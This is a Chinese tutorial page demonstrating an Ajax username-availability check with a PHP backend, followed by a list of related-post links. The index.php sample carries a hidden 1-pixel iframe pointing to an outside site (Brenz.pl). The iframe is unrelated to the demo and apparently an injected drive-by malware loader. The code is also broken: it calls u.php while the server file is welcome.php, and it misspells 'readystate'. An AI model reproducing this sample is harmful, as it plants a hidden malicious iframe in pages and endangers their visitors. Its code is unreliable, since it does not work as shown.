PHP与Ajax相结合实现登录验证小Demo
AJAX即“Asynchronous Javascript And XML”(异步JavaScript和XML),是指一种创建交互式网页应用的网页开发技术。
AJAX = Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)。
AJAX 不是新的编程语言,而是一种使用现有标准的新方法。
AJAX 是与服务器交换数据并更新部分网页的艺术,在不重新加载整个页面的情况下。
设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示
我们先打index.php
<html> <head> <meta http-equiv="content-type" content="text/html; charset=gb2312" /> <script type="text/JavaScript"> function Ajax(){ var xmlHttpReq=null;//初始对象xmlHttpReq if(window.ActiveXObject){ xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP"); }else if(window.XMLHttpRequest){ xmlHttpReq=new XMLHttpRequest(); } var userId=document.getElementById("userId").value;//value取得id为userId的值 url="u.php?userId="+userId;//路径 if(xmlHttpReq!=null){//若对象实例化创建成功 xmlHttpReq.open("GET",url,true);//open()打开请求 xmlHttpReq.onreadystatechange=RequestCallBack;//设置回调函数RequestCallBack() xmlHttpReq.send(null);//请求不包括正文 } function RequestCallBack(){//回调函数 if(xmlHttpReq.readystate==4){ if(xmlHttpReq.status==200){//请求成功 document.getElementById("get").innerHTML=xmlHttpReq.responseText;//将得到的信息赋给id属性为get的div } } } } </script> </head> <body> <font> 注册 </font><br> <form> 用户名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="检测"onclick="Ajax()"> <div id="get"> </div> </form> <iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> </body> </html>
welcome.php
<?php header("content-type:text/html;charset=gb2312"); //sleep(1); $userId=$_GET["userId"]; if($userId=="管理员"){ echo "用户名已存在!"; }else{ echo "该用户名可以注册"; } ?>
关于PHP与Ajax相结合实现登录验证小Demo的相关知识就给大家介绍到这里,希望对大家有所帮助!
相关推荐
kentrl 2020-11-10
结束数据方法的参数,该如何定义?-- 集合为自定义实体类中的结合属性,有几个实体类,改变下标就行了。<input id="add" type="button" value="新增visitor&quo
ajaxyan 2020-11-09
zndy0 2020-11-03
学留痕 2020-09-20
Richardxx 2020-11-09
learningever 2020-09-19
chongxiaocheng 2020-08-16
ajaxhe 2020-08-16
lyqdanang 2020-08-16
curiousL 2020-08-03
TONIYH 2020-07-22
时光如瑾雨微凉 2020-07-19
83510998 2020-07-18
坚持着执着 2020-07-16
jiaguoquan00 2020-07-07
李永毅 2020-07-05
坚持着执着 2020-07-05